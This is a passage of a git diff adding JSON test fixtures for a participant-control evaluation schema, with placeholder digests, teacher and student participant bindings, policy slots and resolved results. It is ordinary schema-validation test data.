"sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "clock": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "clock", + "ref": "clock-1", + "revision": "rev1" + }, + "controller_ref": "teacher", + "crossing": { + "digest": "sha256:a6041f01335e5816f8452889f857b701ad9605e15805722a434445eaacba7868", + "kind": "crossing", + "ref": "crossing-1", + "revision": "rev1" + }, + "depth": 0, + "destination_ref": "student", + "direction": "ingress", + "effects_consumed": 0, + "episode_id": "episode-1", + "expected_history_heads": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "history", + "ref": "history-head", + "revision": "rev1" + } + ], + "inputs": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "input", + "ref": "observation-1", + "revision": "rev1" + } + ], + "memory_scope": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1" + }, + "order": 1, + "participant_address": "participants.student", + "phase_ref": "practice", + "policy": { + "decision_cut_ref": "cut-1", + "effective_order": 1, + "policy_decision_ref": "crossing-decision-1", + "policy_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "policy_id": "teaching-policy", + "policy_revision": "rev1", + "valid_from_order": 0, + "valid_until_order": 20 + }, + "predecessors": [], + "prior_effect_claims": [], + "provider_states": [ + { + "instance_id": "influence", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-1", + "revision": "rev1" + } + }, + { + "instance_id": "other", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-other", + "revision": "rev1" + } + } + ], + "rule_firings": [], + "run": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "run", + "ref": "run-1", + "revision": "rev1" + }, + "sink_ref": "teaching-observation", + "state_cut": { + "anchor_event_ref": "event-1", + "anchor_order": 1, + "cut_kind": "sequence_prefix", + "cut_ref": "cut-1", + "history_domain": "participant_behavior_history", + "history_prefix_length": 2, + "order_model": "behavior_history_order", + "predecessor_event_refs": [ + "event-0" + ] + }, + "subject": { + "contract_id": "participant-observation-envelope-v1", + "episode_id": "episode-1", + "participant_address": "participants.student", + "subject_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "subject_kind": "participant-observation", + "subject_ref": "observation-1", + "subject_revision": "rev1" + }, + "trigger": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "trigger", + "ref": "event-1", + "revision": "rev1" + }, + "trigger_root": "root-1" + }, + "selection": { + "apparatus": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1" + }, + "bindings": [ + { + "applicability": [ + { + "direction": "ingress", + "episode_id": "episode-1", + "participant_address": "participants.student", + "phase_ref": "practice", + "sink_ref": "teaching-observation", + "subject_kind": "participant-observation" + } + ], + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "binding-evidence", + "revision": "rev1" + } + ], + "implementation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "implementation", + "ref": "provider-artifact", + "revision": "rev1" + }, + "instance_id": "influence", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "mechanism": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "mechanism", + "ref": "propagation", + "revision": "rev1" + }, + "memory_scope": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1" + }, + "profiles": [ + { + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630", + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1" + } + ], + "protocol_revision": "participant-control-provider/v2", + "state_scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-influence", + "sharing": "participant" + } + }, + { + "applicability": [ + { + "direction": "ingress", + "episode_id": "episode-1", + "participant_address": "participants.student", + "phase_ref": "practice", + "sink_ref": "teaching-observation", + "subject_kind": "participant-observation" + } + ], + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "binding-evidence", + "revision": "rev1" + } + ], + "implementation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "implementation", + "ref": "provider-artifact", + "revision": "rev1" + }, + "instance_id": "other", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "mechanism": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "mechanism", + "ref": "propagation", + "revision": "rev1" + }, + "memory_scope": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1" + }, + "profiles": [ + { + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630", + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1" + } + ], + "protocol_revision": "participant-control-provider/v2", + "state_scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-other", + "sharing": "participant" + } + } + ], + "bounds": { + "expires_at_order": 20, + "max_attempts": 3, + "max_depth": 2, + "max_effects": 2, + "max_fanout": 2, + "max_firings_per_rule": 1 + }, + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "selection-evidence", + "revision": "rev1" + } + ], + "interpretation": "participant-control-applicability/rev1", + "obligations": [ + { + "constraints": [], + "obligation_id": "teaching-here", + "profile": { + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630", + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1" + }, + "required_kind": "ifc-fact", + "required_strength": "exact" + }, + { + "constraints": [], + "obligation_id": "teaching-there", + "profile": { + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630", + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1" + }, + "required_kind": "decision", + "required_strength": "exact" + } + ], + "required_profiles": [ + "teaching-influence" + ], + "schema_version": "participant-control-selection/v2", + "selection_id": "selection-1", + "semantic_revision": "sem-235/rev1", + "slots": [ + { + "constraints": [], + "dependencies": [], + "instance_id": "influence", + "kind": "ifc-fact", + "required_strength": "exact", + "role": "mandatory", + "slot_id": "fact" + }, + { + "constraints": [], + "dependencies": [ + { + "kind": "ifc-fact", + "slot_id": "fact" + } + ], + "instance_id": "other", + "kind": "advisory", + "required_strength": "exact", + "role": "advisory", + "slot_id": "assessment" + }, + { + "constraints": [], + "dependencies": [ + { + "kind": "advisory", + "slot_id": "assessment" + } + ], + "instance_id": "influence", + "kind": "decision", + "required_strength": "exact", + "role": "mandatory", + "slot_id": "rule" + } + ] + } + }, + "results": [ + { + "binding_digest": "sha256:46077550ad5e4bcd2eb86537d6759360b0a15a6faf4ec33e068c09af030e278e", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "evaluated_basis": [], + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1" + } + ], + "instance_id": "influence", + "invocation_digest": "sha256:6eedb8ca7540290c79c772ed7bd65961992721cfbd58ed0665ac7428ca6f7f7f", + "next_provider_state": null, + "payload": { + "domain": "teaching-influence-domain/rev1", + "kind": "ifc-fact", + "source_refs": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "input", + "ref": "observation-1", + "revision": "rev1" + } + ], + "tokens": [ + "coached-hint" + ] + }, + "result_id": "result-fact", + "rule_outcome": null, + "slot_id": "fact", + "status": "resolved" + }, + { + "binding_digest": "sha256:1869c48719bd69e0cb9d20ebdcf25741701ff03869b16e4c5a3543a8da45e7d1", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "evaluated_basis": [], + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1" + } + ], + "instance_id": "other", + "invocation_digest": "sha256:36aaff3fa0fbf53ddf2cbfcbff3a36160204a9bdc7cd49d587d8b35ed78c76b5", + "next_provider_state": null, + "payload": { + "assessment": "negative", + "kind": "advisory", + "sample": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "assessment-sample", + "revision": "rev1" + }, + "score": 0.2 + }, + "result_id": "result-assessment", + "rule_outcome": null, + "slot_id": "assessment", + "status": "resolved" + }, + { + "binding_digest": "sha256:46077550ad5e4bcd2eb86537d6759360b0a15a6faf4ec33e068c09af030e278e", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "evaluated_basis": [], + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1" + } + ], + "instance_id": "influence", + "invocation_digest": "sha256:c55bec711126640624b0115ec1e5eb58b9cad00c317a5ebced1bfb206ed2a73c", + "next_provider_state": null, + "payload": { + "disposition": "permit", + "kind": "decision", + "rule": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "rule", + "ref": "decision-rule", + "revision": "rev1" + } + }, + "result_id": "result-rule", + "rule_outcome": null, + "slot_id": "rule", + "status": "resolved" + } + ], + "schema_version": "participant-control-evaluation/v2", + "state_proposals": [], + "support": [ + { + "effective_support": { + "constraints": [], + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "declaration_ref": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "manifest", + "ref": "backend-manifest", + "revision": "rev1" + }, + "declared_level": "exact", + "downgrade_authority": null, + "effective_level": "exact", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-evidence", + "revision": "rev1" + } + ], + "feature": "participant_modular_control", + "installation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "installation", + "ref": "installation-1", + "revision": "rev1" + }, + "instance_id": "influence", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "status": "resolved" + }, + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-relation", + "revision": "rev1" + } + ], + "instance_id": "influence", + "obligation_id": "teaching-here", + "relation": "exact", + "required_constraints": [], + "required_strength": "exact" + }, + { + "effective_support": { + "constraints": [], + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "declaration_ref": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "manifest", + "ref": "backend-manifest", + "revision": "rev1" + }, + "declared_level": "exact", + "downgrade_authority": null, + "effective_level": "exact", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-evidence", + "revision": "rev1" + } + ], + "feature": "participant_modular_control", + "installation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "installation", + "ref": "installation-1", + "revision": "rev1" + }, + "instance_id": "influence", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "status": "resolved" + }, + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-relation", + "revision": "rev1" + } + ], + "instance_id": "influence", + "obligation_id": "teaching-there", + "relation": "exact", + "required_constraints": [], + "required_strength": "exact" + }, + { + "effective_support": { + "constraints": [], + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "declaration_ref": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "manifest", + "ref": "backend-manifest", + "revision": "rev1" + }, + "declared_level": "exact", + "downgrade_authority": null, + "effective_level": "exact", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-evidence", + "revision": "rev1" + } + ], + "feature": "participant_modular_control", + "installation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "installation", + "ref": "installation-1", + "revision": "rev1" + }, + "instance_id": "other", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "status": "resolved" + }, + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-relation", + "revision": "rev1" + } + ], + "instance_id": "other", + "obligation_id": "input:assessment", + "relation": "exact", + "required_constraints": [], + "required_strength": "exact" + } + ], + "unknown_field": "closed-contract-violation" +} diff --git a/contracts/fixtures/participant-runtime/participant-control-evaluation-v2/valid/dependency-chain.json b/contracts/fixtures/participant-runtime/participant-control-evaluation-v2/valid/dependency-chain.json new file mode 100644 index 000000000..b3692c03f --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-control-evaluation-v2/valid/dependency-chain.json @@ -0,0 +1,892 @@ +{ + "commit": { + "coverage_digest": "sha256:80caf84d4b4e2b39429afdcea3de084248a77a33b2a3e6570a9025ce9491eed1", + "decision_digest": "sha256:d1c72c0c53778b391603d2fad4f7a89a2e784920b0bdfad99bf882430d4237d1", + "dispatchable_effect_ids": [], + "effect_intent_digests": [], + "effects_consumed": 0, + "expected_history_heads": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "history", + "ref": "history-head", + "revision": "rev1" + } + ], + "receipt": null, + "result_digests": [ + "sha256:621aa9e32db264cb92c23ff1938b560a9a96cbb2f23deb33ce0ef02bd1c7704f", + "sha256:45e5fbd6cf5fae7760544ffef92f6383a74eee21ab132a6c4b93462082754d8b", + "sha256:aacb4994403c2d24525b94e19eea45e05f50be437e224a7887c2f54e59286e33" + ], + "state_proposal_digests": [], + "status": "prepared" + }, + "composition": { + "blockers": [], + "contributing_result_ids": [ + "result-assessment", + "result-fact", + "result-rule" + ], + "disposition": "eligible", + "lost_advice_slot_ids": [], + "rule_revision": "participant-control-applicability/rev1" + }, + "effect_plan": { + "decisions": [ + { + "decision_id": "result-rule", + "disposition": "permit", + "reasons": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "decision-basis", + "revision": "rev1" + } + ], + "rule": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "rule", + "ref": "decision-rule", + "revision": "rev1" + } + } + ], + "effect_outcomes": [], + "effects": [], + "incumbent_gate_disposition": "permit", + "parent_admission_receipt": null, + "parent_application_receipt": null, + "parent_applied": false, + "parent_crossing": { + "digest": "sha256:a6041f01335e5816f8452889f857b701ad9605e15805722a434445eaacba7868", + "kind": "crossing", + "ref": "crossing-1", + "revision": "rev1" + }, + "parent_disposition": "permit", + "realized_effect_ids": [], + "runnable_effect_ids": [] + }, + "evaluation_id": "evaluation-v2", + "invocations": [ + { + "binding_digest": "sha256:46077550ad5e4bcd2eb86537d6759360b0a15a6faf4ec33e068c09af030e278e", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "instance_id": "influence", + "invocation_id": "invoke-fact", + "predecessor_inputs": [], + "projection": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "projection", + "ref": "input-projection", + "revision": "rev1" + }, + "requested_slot_ids": [ + "fact" + ], + "state_input": { + "predecessor_invocation_id": null, + "scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-influence", + "sharing": "participant" + }, + "source": "committed", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-1", + "revision": "rev1" + } + } + }, + { + "binding_digest": "sha256:1869c48719bd69e0cb9d20ebdcf25741701ff03869b16e4c5a3543a8da45e7d1", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "instance_id": "other", + "invocation_id": "invoke-assessment", + "predecessor_inputs": [ + { + "kind": "ifc-fact", + "result_digest": "sha256:621aa9e32db264cb92c23ff1938b560a9a96cbb2f23deb33ce0ef02bd1c7704f", + "result_id": "result-fact", + "slot_id": "fact" + } + ], + "projection": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "projection", + "ref": "input-projection", + "revision": "rev1" + }, + "requested_slot_ids": [ + "assessment" + ], + "state_input": { + "predecessor_invocation_id": null, + "scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-other", + "sharing": "participant" + }, + "source": "committed", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-other", + "revision": "rev1" + } + } + }, + { + "binding_digest": "sha256:46077550ad5e4bcd2eb86537d6759360b0a15a6faf4ec33e068c09af030e278e", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "instance_id": "influence", + "invocation_id": "invoke-rule", + "predecessor_inputs": [ + { + "kind": "advisory", + "result_digest": "sha256:45e5fbd6cf5fae7760544ffef92f6383a74eee21ab132a6c4b93462082754d8b", + "result_id": "result-assessment", + "slot_id": "assessment" + } + ], + "projection": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "projection", + "ref": "input-projection", + "revision": "rev1" + }, + "requested_slot_ids": [ + "rule" + ], + "state_input": { + "predecessor_invocation_id": null, + "scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-influence", + "sharing": "participant" + }, + "source": "committed", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-1", + "revision": "rev1" + } + } + } + ], + "lost_advice": [], + "request": { + "applicability": { + "applicable_slot_ids": [ + "fact", + "assessment", + "rule" + ], + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "coverage": [ + { + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "coverage-here", + "revision": "rev1" + } + ], + "obligation_id": "teaching-here", + "slot_ids": [ + "fact" + ], + "status": "applies" + }, + { + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "coverage-there", + "revision": "rev1" + } + ], + "obligation_id": "teaching-there", + "slot_ids": [ + "rule" + ], + "status": "applies" + } + ], + "derivation_evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "subset-derivation", + "revision": "rev1" + } + ], + "required_slot_ids": [ + "fact", + "assessment", + "rule" + ], + "selection_digest": "sha256:c4b3238b76a9c3a2f4a7677251f03f94bf44bf1bc2de9997dd3668c409b4038c" + }, + "context": { + "apparatus": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1" + }, + "attempt": 1, + "audience_ref": "student-audience", + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "clock": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "clock", + "ref": "clock-1", + "revision": "rev1" + }, + "controller_ref": "teacher", + "crossing": { + "digest": "sha256:a6041f01335e5816f8452889f857b701ad9605e15805722a434445eaacba7868", + "kind": "crossing", + "ref": "crossing-1", + "revision": "rev1" + }, + "depth": 0, + "destination_ref": "student", + "direction": "ingress", + "effects_consumed": 0, + "episode_id": "episode-1", + "expected_history_heads": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "history", + "ref": "history-head", + "revision": "rev1" + } + ], + "inputs": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "input", + "ref": "observation-1", + "revision": "rev1" + } + ], + "memory_scope": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1" + }, + "order": 1, + "participant_address": "participants.student", + "phase_ref": "practice", + "policy": { + "decision_cut_ref": "cut-1", + "effective_order": 1, + "policy_decision_ref": "crossing-decision-1", + "policy_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "policy_id": "teaching-policy", + "policy_revision": "rev1", + "valid_from_order": 0, + "valid_until_order": 20 + }, + "predecessors": [], + "prior_effect_claims": [], + "provider_states": [ + { + "instance_id": "influence", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-1", + "revision": "rev1" + } + }, + { + "instance_id": "other", + "state": { + "digest": 